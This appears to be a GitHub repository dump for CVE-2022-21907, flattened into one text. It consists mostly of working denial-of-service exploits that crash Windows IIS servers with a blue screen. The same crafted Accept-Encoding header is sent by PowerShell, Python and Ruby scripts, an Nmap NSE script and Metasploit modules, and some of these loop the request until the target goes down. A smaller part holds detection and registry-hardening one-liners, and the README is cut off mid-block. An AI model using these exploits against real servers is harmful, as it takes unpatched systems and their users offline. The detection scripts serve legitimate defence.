├── payload.txt ├── detection_protection_cve2022_21907.ps1 ├── rb_dos_iis_2022_21907.md ├── CVE-2022-21907.ps1 ├── dos_iis_2022_21907.nse ├── CVE202221907.py ├── rb_dos_iis_2022_21907.rb ├── py_dos_iis_2022_21907.py ├── CVE-2022-21907.rb ├── README.md └── LICENSE.txt /payload.txt: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, , 2 | -------------------------------------------------------------------------------- /detection_protection_cve2022_21907.ps1: -------------------------------------------------------------------------------- 1 | ################### 2 | # Detect and protect CVE-2022-21907. 3 | # Copyright (C) 2022 Maurice Lambert 4 | 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | ################### 18 | 19 | $license="GPL-3.0 License" 20 | 21 | Write-Host " 22 | CVE-2022-21907 Copyright (C) 2022 Maurice Lambert 23 | This program comes with ABSOLUTELY NO WARRANTY. 24 | This is free software, and you are welcome to redistribute it 25 | under certain conditions. 26 | " 27 | 28 | # Only detect 29 | 30 | $ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and $(Write-Host "$env:computername vulnerable to CVE-2022-2190 !") 31 | 32 | $ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 !"}else{echo "Not vulnerable to CVE-2022-2190"} 33 | 34 | # With protection 35 | 36 | $ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0";Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0}else{echo "Not vulnerable to CVE-2022-2190"} 37 | 38 | $ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and ($(Write-Host "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0") -or $(Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0)) 39 | -------------------------------------------------------------------------------- /rb_dos_iis_2022_21907.md: -------------------------------------------------------------------------------- 1 | ## Vulnerable Application 2 | 3 | IIS web server without KB: 4 | - Windows 10 Version 1809 && Windows Server 2019 (include Core): KB5009557 5 | - Windows 10 (Versions 20H2, 21H1, 21H2) && Windows Server Version 20H2 (include Core): KB5009543 6 | - Windows 11: KB5009566 7 | - Windows Server 2022 (include Core): KB5009555 8 | 9 | and with DWORD: `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters` value **EnableTrailerSupport** enabled. 10 | 11 | ![Weak configuration](https://mauricelambert.github.io/vulnerability/images/CVE-2022-21907_weak_configuration.png "Weak configuration") 12 | 13 | ### Source 14 | 15 | - [Microsoft](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907) 16 | 17 | ## Options 18 | 19 | ### RHOST 20 | 21 | - **Required** 22 | - Type: **address** 23 | - *No default value* 24 | 25 | Should be the weak IIS server address. 26 | 27 | ### RPORT 28 | 29 | - **Required** 30 | - Type: **integer** 31 | - Default value: **80** 32 | 33 | Should be the weak IIS server port. 34 | 35 | ### TARGETURI 36 | 37 | - **Optional** 38 | - Type: **string** 39 | - Default value: **/** 40 | 41 | ## Scenarios 42 | 43 | ```text 44 | msf6 > use exploit/windows/iis/rb_dos_iis_2022_21907 45 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > set RHOST 10.10.10.10 46 | RHOST => 10.10.10.10 47 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > exploit 48 | [*] Running module against 10.10.10.10 49 | 50 | [+] Target is down. 51 | [*] Auxiliary module execution completed 52 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > 53 | ``` 54 | 55 | ```text 56 | msf6 > use exploit/windows/iis/rb_dos_iis_2022_21907 57 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > set RHOST 10.10.10.10 58 | RHOST => 10.10.10.10 59 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > set RPORT 80 60 | RPORT => 80 61 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > set TARGETURI "/test/" 62 | TARGETURI => /test/ 63 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > set VERBOSE true 64 | VERBOSE => true 65 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > exploit 66 | [*] Running module against 10.10.10.10 67 | 68 | [*] Trying first connection... 69 | [+] First connection OK. Sending payload... 70 | [+] Payload is sent. Check that the server is down... 71 | [-] The connection was refused by the remote host (10.10.10.10:80). 72 | [+] Target is down. 73 | [*] Auxiliary module execution completed 74 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > 75 | ``` 76 | 77 | ## Reference 78 | 79 | - [Microsoft](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907) 80 | - [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2022-21907) 81 | -------------------------------------------------------------------------------- /CVE-2022-21907.ps1: -------------------------------------------------------------------------------- 1 | ################### 2 | # This script exploit the CVE-2022-21907 for a DOS (Denial of Service) attack (Blue Screen). 3 | # Copyright (C) 2022 Maurice Lambert 4 | 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | ################### 18 | 19 | [CmdletBinding()] 20 | param( 21 | [Parameter(Mandatory)] 22 | [string] $target 23 | ) 24 | 25 | $license = "GPL-3.0 License" 26 | $copyright = @" 27 | CVE-2022-21907 Copyright (C) 2022 Maurice Lambert 28 | This program comes with ABSOLUTELY NO WARRANTY. 29 | This is free software, and you are welcome to redistribute it 30 | under certain conditions. 31 | "@ 32 | 33 | write "`n$copyright`n" 34 | 35 | $session = New-Object Microsoft.PowerShell.Commands.WebRequestSession 36 | $session.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62" 37 | 38 | $headers = @{ 39 | "Cache-Control"="max-age=0" 40 | "sec-ch-ua"="`" Not;A Brand`";v=`"99`", `"Microsoft Edge`";v=`"97`", `"Chromium`";v=`"97`"" 41 | "sec-ch-ua-mobile"="?0" 42 | "sec-ch-ua-platform"="`"Windows`"" 43 | "Upgrade-Insecure-Requests"="1" 44 | "Accept"="text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" 45 | "Sec-Fetch-Site"="none" 46 | "Sec-Fetch-Mode"="navigate" 47 | "Sec-Fetch-User"="?1" 48 | "Sec-Fetch-Dest"="document" 49 | "Accept-Encoding"="AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ," 50 | "Accept-Language"="fr,fr-FR;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6" 51 | "If-None-Match"="`"ef66c67b14dd81:0`"" 52 | "If-Modified-Since"="Wed, 19 Jan 2022 09:11:03 GMT" 53 | } 54 | 55 | 56 | $ErrorActionPreference="Stop" 57 | while(1) { 58 | try { 59 | Invoke-WebRequest -UseBasicParsing -Uri "http://$target/" -WebSession $session -Headers $headers -TimeoutSec 10 60 | } catch { 61 | break 62 | } 63 | } -------------------------------------------------------------------------------- /dos_iis_2022_21907.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | The IIS Web Server contains a RCE vulnerability. This script 3 | exploits this vulnerability with a DOS attack (causes a Blue Screen). 4 | ]] 5 | 6 | author = "Maurice LAMBERT " 7 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 8 | categories = {"dos", "exploit", "intrusive", "vuln"} 9 | 10 | --- 11 | -- @name 12 | -- IIS DOS CVE-2022-21907 - Web Server Blue Screen 13 | -- @author 14 | -- Maurice LAMBERT 15 | -- @usage 16 | -- nmap -p 80 --script dos_iis_2022_21907 17 | -- @output 18 | -- PORT STATE SERVICE 19 | -- 80/tcp open http 20 | -- | dos_iis_2022_21907: 21 | -- | VULNERABLE: 22 | -- | IIS CVE-2022-21907 DOS 23 | -- | State: VULNERABLE (Exploitable) 24 | -- | IDs: CVE:CVE-2022-21907 25 | -- | The IIS Web Server contains a RCE vulnerability. This script 26 | -- | exploits this vulnerability with a DOS attack 27 | -- | (causes a Blue Screen). 28 | -- | 29 | -- | Disclosure date: 2022-01-11 30 | -- | References: 31 | -- | https://nvd.nist.gov/vuln/detail/CVE-2022-21907 32 | -- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21907 33 | -- |_ https://github.com/mauricelambert/CVE-2022-21907 34 | 35 | local shortport = require "shortport" 36 | local stdnse = require "stdnse" 37 | local vulns = require "vulns" 38 | local http = require "http" 39 | 40 | portrule = shortport.http 41 | 42 | action = function(host, port) 43 | local vuln = { 44 | title = "IIS CVE-2022-21907 DOS", 45 | state = vulns.STATE.NOT_VULN, 46 | IDS = { CVE = 'CVE-2022-21907' }, 47 | description = [[ 48 | The IIS Web Server contains a RCE vulnerability. This script 49 | exploits this vulnerability with a DOS attack 50 | (causes a Blue Screen). 51 | ]], 52 | references = { 53 | 'https://nvd.nist.gov/vuln/detail/CVE-2022-21907', 54 | 'https://github.com/mauricelambert/CVE-2022-21907', 55 | }, 56 | dates = { 57 | disclosure = {year = '2022', month = '01', day = '11'}, 58 | }, 59 | } 60 | 61 | local report = vulns.Report:new(SCRIPT_NAME, host, port) 62 | local headers = {} 63 | headers["Accept-Encoding"] = "AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAA" .. 64 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA" .. 65 | "**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .. 66 | "AAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" .. 67 | "AAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************A" .. 68 | "AAAAA, *, ," 69 | 70 | stdnse.debug2("Web service is up. Send payload...") 71 | local response = http.generic_request( 72 | host, 73 | port, 74 | "GET", 75 | "/", 76 | { 77 | timeout = 10, 78 | header = headers, 79 | } 80 | ) 81 | 82 | if (response.status) then 83 | return report:make_output(vuln) 84 | else 85 | vuln.state = vulns.STATE.EXPLOIT -- UNKNOWN, LIKELY_VULN 86 | return report:make_output(vuln) 87 | end 88 | end -------------------------------------------------------------------------------- /CVE202221907.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | This script exploit the CVE-2022-21907 for a DOS (Denial of Service) attack (Blue Screen). 6 | 7 | >>> import CVE202221907 8 | 9 | ~# python3 CVE202221907.py 10 | """ 11 | 12 | ################### 13 | # This script exploit the CVE-2022-21907 for a DOS (Denial of Service) attack (Blue Screen). 14 | # Copyright (C) 2022 Maurice Lambert 15 | 16 | # This program is free software: you can redistribute it and/or modify 17 | # it under the terms of the GNU General Public License as published by 18 | # the Free Software Foundation, either version 3 of the License, or 19 | # (at your option) any later version. 20 | 21 | # This program is distributed in the hope that it will be useful, 22 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 23 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 24 | # GNU General Public License for more details. 25 | 26 | # You should have received a copy of the GNU General Public License 27 | # along with this program. If not, see . 28 | ################### 29 | 30 | __version__ = "1.0.0" 31 | __author__ = "Maurice Lambert" 32 | __author_email__ = "mauricelambert434@gmail.com" 33 | __maintainer__ = "Maurice Lambert" 34 | __maintainer_email__ = "mauricelambert434@gmail.com" 35 | __description__ = """ 36 | This script exploit the CVE-2022-21907 for a DOS (Denial of Service) attack (Blue Screen). 37 | """ 38 | license = "GPL-3.0 License" 39 | __url__ = "https://github.com/mauricelambert/CVE-2022-21907" 40 | 41 | copyright = """ 42 | CVE-2022-21907 Copyright (C) 2022 Maurice Lambert 43 | This program comes with ABSOLUTELY NO WARRANTY. 44 | This is free software, and you are welcome to redistribute it 45 | under certain conditions. 46 | """ 47 | __license__ = license 48 | __copyright__ = copyright 49 | 50 | __all__ = [] 51 | 52 | print(copyright) 53 | 54 | from urllib.error import URLError, HTTPError 55 | from urllib.request import Request, urlopen 56 | from sys import exit, stderr, argv 57 | from socket import timeout 58 | 59 | host = argv[1] if len(argv) == 2 else input("Target: ") 60 | 61 | headers = { 62 | "Accept-Encoding": "AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ," 63 | } 64 | 65 | try: 66 | urlopen(f"http://{host}") 67 | except HTTPError: 68 | pass 69 | except Exception as e: 70 | print(f"[!] http://{host} is not UP (get no response).") 71 | print(f"{e.__class__.__name__}: {e}", file=stderr) 72 | exit(1) 73 | 74 | print(f"[+] http://{host} is UP. Send payload...") 75 | 76 | while True: 77 | try: 78 | urlopen(Request(f"http://{host}", headers=headers)) 79 | except (timeout, TimeoutError, URLError): 80 | print( 81 | f"[+] http://{host} is DOWN. {host} is vulnerable to CVE-2022-21907." 82 | ) 83 | exit(0) 84 | except HTTPError: 85 | pass 86 | except Exception as e: 87 | print(f"{e.__class__.__name__}: {e}", file=stderr) 88 | 89 | print("[!] Host is up.", file=stderr) 90 | print("[+] Payload sent successfully. Try new request...") 91 | -------------------------------------------------------------------------------- /rb_dos_iis_2022_21907.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | ## 4 | # This module requires Metasploit: https://metasploit.com/download 5 | # Current source: https://github.com/rapid7/metasploit-framework 6 | ## 7 | 8 | ### 9 | # 10 | # This module performs a DOS attack using a simple HTTP request. 11 | # 12 | ### 13 | class MetasploitModule < Msf::Auxiliary 14 | include Msf::Exploit::Remote::HttpClient 15 | include Msf::Auxiliary::Dos 16 | 17 | def initialize(info = {}) 18 | super( 19 | update_info( 20 | info, 21 | 'Name' => 'CVE-2022-21907: HTTP Protocol Stack Remote Code Execution' + 22 | ' Vulnerability - Windows IIS DOS BlueScreen', 23 | 'Description' => 'This module can be used to perform a DOS attack on' + 24 | ' IIS server. This module exploit CVE-2022-21907 and causes a Blue' + 25 | ' Screen with only one payload.', 26 | 'License' => MSF_LICENSE, 27 | 'Author' => ['Maurice LAMBERT '], 28 | 'Platform' => 'win', 29 | 'References' => [ 30 | ['CVE', '2022-21907'], 31 | ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21907'], 32 | ['URL', 'https://github.com/mauricelambert/CVE-2022-21907'] 33 | ], 34 | 'DisclosureDate' => '2022-01-11', 35 | 'Notes' => { 36 | 'Stability' => [CRASH_OS_RESTARTS], 37 | 'Reliability' => [IOC_IN_LOGS], 38 | 'SideEffects' => [SCREEN_EFFECTS] 39 | }, 40 | ) 41 | ) 42 | 43 | register_options( 44 | [ 45 | OptString.new( 46 | 'TARGETURI', [true, 'The URI of the IIS Server.', '/'], 47 | ) 48 | ] 49 | ) 50 | end 51 | 52 | ## 53 | # This module performs a DOS attack using a simple HTTP request. 54 | def run 55 | vprint_status('Trying first connection...') 56 | 57 | res = send_request_cgi( 58 | 'uri' => normalize_uri(target_uri.path, ''), 59 | 'method' => 'GET' 60 | ) 61 | 62 | if res.nil? 63 | fail_with( 64 | Failure::Unreachable, 65 | "#{peer} - Could not connect to web service - no response" 66 | ) 67 | end 68 | 69 | vprint_good('First connection OK. Sending payload...') 70 | 71 | payload = { 72 | 'Accept-Encoding' => Rex::Text.rand_text_alphanumeric(24) + 73 | ",&#{Rex::Text.rand_text_alphanumeric(2)}&**" + 74 | "#{Rex::Text.rand_text_alphanumeric(20)}**" + 75 | "#{Rex::Text.rand_text_alphanumeric(1)}," + 76 | "#{Rex::Text.rand_text_alphanumeric(73)}," + 77 | "#{Rex::Text.rand_text_alphanumeric(71)}," + 78 | "#{Rex::Text.rand_text_alphanumeric(27)},***************" + 79 | "*************#{Rex::Text.rand_text_alphanumeric(6)}, *, ," 80 | } 81 | 82 | res = send_request_cgi({ 83 | 'uri' => normalize_uri(target_uri.path, ''), 84 | 'timeout' => 1, 85 | # short timeout -> the server should not respond 86 | 'method' => 'GET', 87 | 'headers' => payload 88 | }) 89 | 90 | vprint_good('Payload is sent. Check that the server is down...') 91 | 92 | res = send_request_cgi( 93 | 'uri' => normalize_uri(target_uri.path, ''), 94 | 'method' => 'GET' 95 | ) 96 | 97 | if res.nil? 98 | print_good('Target is down.') 99 | else 100 | print_error('Target is not vulnerable and up.') 101 | end 102 | end 103 | end 104 | -------------------------------------------------------------------------------- /py_dos_iis_2022_21907.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | This module requires Metasploit: https://metasploit.com/download 6 | Current source: https://github.com/rapid7/metasploit-framework 7 | 8 | This module performs a DOS attack using a simple HTTP request. 9 | """ 10 | 11 | from urllib.error import URLError, HTTPError 12 | from urllib.request import Request, urlopen 13 | from ssl import _create_unverified_context 14 | from logging import info, error 15 | from os.path import basename 16 | from socket import timeout 17 | from typing import Dict 18 | 19 | from metasploit import module 20 | 21 | metadata = { 22 | "name": "CVE-2022-21907: HTTP Protocol Stack Remote Code Execution Vulnerability - Windows IIS DOS BlueScreen", 23 | "description": "This module can be used to perform a DOS attack on IIS server. This module exploit the CVE-2022-21907 and causes a Blue Screen with only one payload.", 24 | "license": "MSF_LICENSE", 25 | "authors": ["Maurice LAMBERT "], 26 | "date": "2022-01-11", 27 | "references": [ 28 | {"type": "cve", "ref": "2022-21907"}, 29 | { 30 | "type": "url", 31 | "ref": "https://nvd.nist.gov/vuln/detail/CVE-2022-21907", 32 | }, 33 | { 34 | "type": "url", 35 | "ref": "https://github.com/mauricelambert/CVE-2022-21907", 36 | }, 37 | ], 38 | "type": "dos", 39 | "options": { 40 | "rhost": { 41 | "type": "address", 42 | "description": "Target address", 43 | "required": True, 44 | "default": None, 45 | }, 46 | "rport": { 47 | "type": "int", 48 | "description": "Target port", 49 | "required": True, 50 | "default": 80, 51 | }, 52 | "verbose": { 53 | "type": "bool", 54 | "description": "Verbose mode", 55 | "required": False, 56 | "default": None, 57 | }, 58 | "ssl": { 59 | "type": "bool", 60 | "description": "Use SSL", 61 | "required": False, 62 | "default": False, 63 | }, 64 | }, 65 | } 66 | 67 | 68 | def run(args: Dict[str, str]) -> None: 69 | 70 | """ 71 | This module performs a DOS attack using a simple HTTP request. 72 | """ 73 | 74 | port = args["rport"] 75 | host = args["rhost"] 76 | ssl = False if not args["ssl"] or args["ssl"] == "false" else True 77 | 78 | payload = { 79 | "Accept-Encoding": "AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ," 80 | } 81 | 82 | module.LogHandler.setup(msg_prefix=f"{basename(__file__)}[{host}:{port}] - ") 83 | 84 | info("Trying first connection...") 85 | 86 | try: 87 | urlopen( 88 | f'http{"s" if ssl else ""}://{host}:{port}', 89 | context=_create_unverified_context() if ssl else None, 90 | ) 91 | except HTTPError: 92 | pass 93 | except Exception as e: 94 | error( 95 | f"The connection was refused by the remote host ({host}:{port})." 96 | ) 97 | error( 98 | f"Auxiliary aborted due to failure: unreachable: {host}:{port} - Could not connect to web service - no response" 99 | ) 100 | return None 101 | 102 | info("First connection OK. Sending payload...") 103 | 104 | try: 105 | urlopen( 106 | Request( 107 | f'http{"s" if ssl else ""}://{host}:{port}', 108 | headers=payload, 109 | ), 110 | context=_create_unverified_context() if ssl else None, 111 | timeout=10, 112 | ) 113 | except (timeout, TimeoutError, URLError): 114 | info("Target is down ! Congratulations !") 115 | return None 116 | except Exception as e: 117 | error(f"{e.__class__.__name__}: {e}") 118 | 119 | error("Target is not vulnerable and up.") 120 | 121 | 122 | if __name__ == "__main__": 123 | module.run(metadata, run) 124 | -------------------------------------------------------------------------------- /CVE-2022-21907.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # frozen_string_literal: true 3 | 4 | ## 5 | # This script exploit the CVE-2022-21907 for a DOS (Denial of Service) 6 | # attack (Blue Screen). 7 | 8 | ################### 9 | # This script exploit the CVE-2022-21907 for a DOS attack. 10 | # Copyright (C) 2022 Maurice Lambert 11 | 12 | # This program is free software: you can redistribute it and/or modify 13 | # it under the terms of the GNU General Public License as published by 14 | # the Free Software Foundation, either version 3 of the License, or 15 | # (at your option) any later version. 16 | 17 | # This program is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 | # GNU General Public License for more details. 21 | 22 | # You should have received a copy of the GNU General Public License 23 | # along with this program. If not, see . 24 | ################### 25 | 26 | ## 27 | # Project version 28 | VERSION = '1.0.0' 29 | 30 | ## 31 | # Project author 32 | AUTHOR = 'Maurice Lambert' 33 | 34 | ## 35 | # E-mail of the author of the project 36 | AUTHOR_EMAIL = 'mauricelambert434@gmail.com' 37 | 38 | ## 39 | # Project maintainer 40 | MAINTAINER = 'Maurice Lambert' 41 | 42 | ## 43 | # E-mail of the maintainer of the project 44 | MAINTAINER_EMAIL = 'mauricelambert434@gmail.com' 45 | 46 | ## 47 | # Project description 48 | DESCRIPTION = ' 49 | This script exploit the CVE-2022-21907 for a DOS (Denial of Service) 50 | attack (Blue Screen). 51 | ' 52 | 53 | ## 54 | # Project license 55 | LICENSE = 'GPL-3.0 License' 56 | 57 | ## 58 | # Project url 59 | URL = 'https://github.com/mauricelambert/CVE-2022-21907' 60 | 61 | ## 62 | # Project copyright 63 | COPYRIGHT = ' 64 | CVE-2022-21907 Copyright (C) 2022 Maurice Lambert 65 | This program comes with ABSOLUTELY NO WARRANTY. 66 | This is free software, and you are welcome to redistribute it 67 | under certain conditions. 68 | ' 69 | 70 | puts "#{COPYRIGHT}\n" 71 | 72 | require 'net/http' 73 | 74 | ## 75 | # This class implements methods to exploit 76 | # the CVE-2022-21907 for a DOS (Denial of Service) 77 | # attack (Blue Screen) with ruby. 78 | class CVE202221907 79 | ## 80 | # This function gets target host from the STDIN 81 | 82 | def self.get_stdin_host 83 | print 'Host (target): ' 84 | gets.strip 85 | end 86 | 87 | ## 88 | # This function generates a random string 89 | 90 | def self.generate_random_string(size) 91 | upper_characters = Array('A'..'Z') 92 | Array.new(size) { upper_characters.sample }.join 93 | end 94 | 95 | ## 96 | # This function generates a random payload 97 | 98 | def self.generate_encoding_payload 99 | "#{generate_random_string(24)},#{generate_random_string(60)}&" \ 100 | "#{generate_random_string(2)}&**" \ 101 | "#{generate_random_string(20)}**#{Array('A'..'Z').sample}," \ 102 | "#{generate_random_string(73)},#{generate_random_string(71)}" \ 103 | ",#{generate_random_string(27)},****************************" \ 104 | "#{generate_random_string(6)}, *, ," 105 | end 106 | 107 | ## 108 | # This function checks the target state 109 | 110 | def self.check_up(request, uri) 111 | res = Net::HTTP.start( 112 | uri.hostname, uri.port, 113 | read_timeout: 60, 114 | open_timeout: 60, 115 | use_ssl: uri.scheme == 'https' 116 | ) { |http| http.request(request) } 117 | rescue Net::OpenTimeout, Errno::ETIMEDOUT, SocketError 118 | puts '[!] This host is probably inaccessible' 119 | 2 120 | else 121 | nil 122 | end 123 | 124 | ## 125 | # The main function to launch the attack 126 | 127 | def self.main 128 | host = ARGV[0] || get_stdin_host 129 | 130 | uri = URI("http://#{host}") 131 | request = Net::HTTP::Get.new(uri) 132 | 133 | access_error = check_up(request, uri) 134 | return access_error if access_error 135 | 136 | request['Accept-Encoding'] = generate_encoding_payload 137 | vulnerable = false 138 | 139 | 10.times do 140 | Net::HTTP.start( 141 | uri.hostname, uri.port, 142 | read_timeout: 10, 143 | open_timeout: 10, 144 | use_ssl: uri.scheme == 'https' 145 | ) { |http| http.request(request) } 146 | rescue Net::OpenTimeout, Errno::ETIMEDOUT 147 | vulnerable = true 148 | break 149 | end 150 | 151 | if vulnerable 152 | puts "[+] Target: #{host} is vulnerable and down." 153 | 0 154 | else 155 | puts "[-] Target: #{host} is not vulnerable and up." 156 | 1 157 | end 158 | end 159 | end 160 | 161 | exit(CVE202221907.main) if __FILE__ == $PROGRAM_NAME 162 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-21907 2 | 3 | ## Description 4 | 5 | 1. This repository detects a system vulnerable to `CVE-2022-21907` (**CVSS:3.1 9.8**) and protects against this vulnerability if desired. I offer 2 powershell codes in 1 line. 6 | 2. I propose pure python, powershell, ruby scripts and metasploit, nmap modules to attack a vulnerable IIS Web Server (perform a DOS attack to crash (blue screen) the server). 7 | 8 | ## Detection and protection 9 | 10 | ### Script 11 | 12 | This script launch 2 online code for detection and 2 online for protection. 13 | 14 | ```text 15 | cmd> powershell ./detection_protection_cve2022_21907.ps1 16 | 17 | CVE-2022-21907 Copyright (C) 2022 Maurice Lambert 18 | This program comes with ABSOLUTELY NO WARRANTY. 19 | This is free software, and you are welcome to redistribute it 20 | under certain conditions. 21 | 22 | Not vulnerable to CVE-2022-2190 23 | Not vulnerable to CVE-2022-2190 24 | Not vulnerable to CVE-2022-2190 25 | Not vulnerable to CVE-2022-2190 26 | 27 | cmd> 28 | ``` 29 | 30 | ### Detect only (oneline) 31 | 32 | ```powershell 33 | $ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and $(Write-Host "$env:computername vulnerable to CVE-2022-2190 !") 34 | ``` 35 | 36 | ```powershell 37 | $ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 !"}else{echo "Not vulnerable to CVE-2022-2190"} 38 | ``` 39 | 40 | ### Detect and protect (oneline) 41 | 42 | Run this powershell line **as administrator** to protect your computer/server. 43 | 44 | ```powershell 45 | 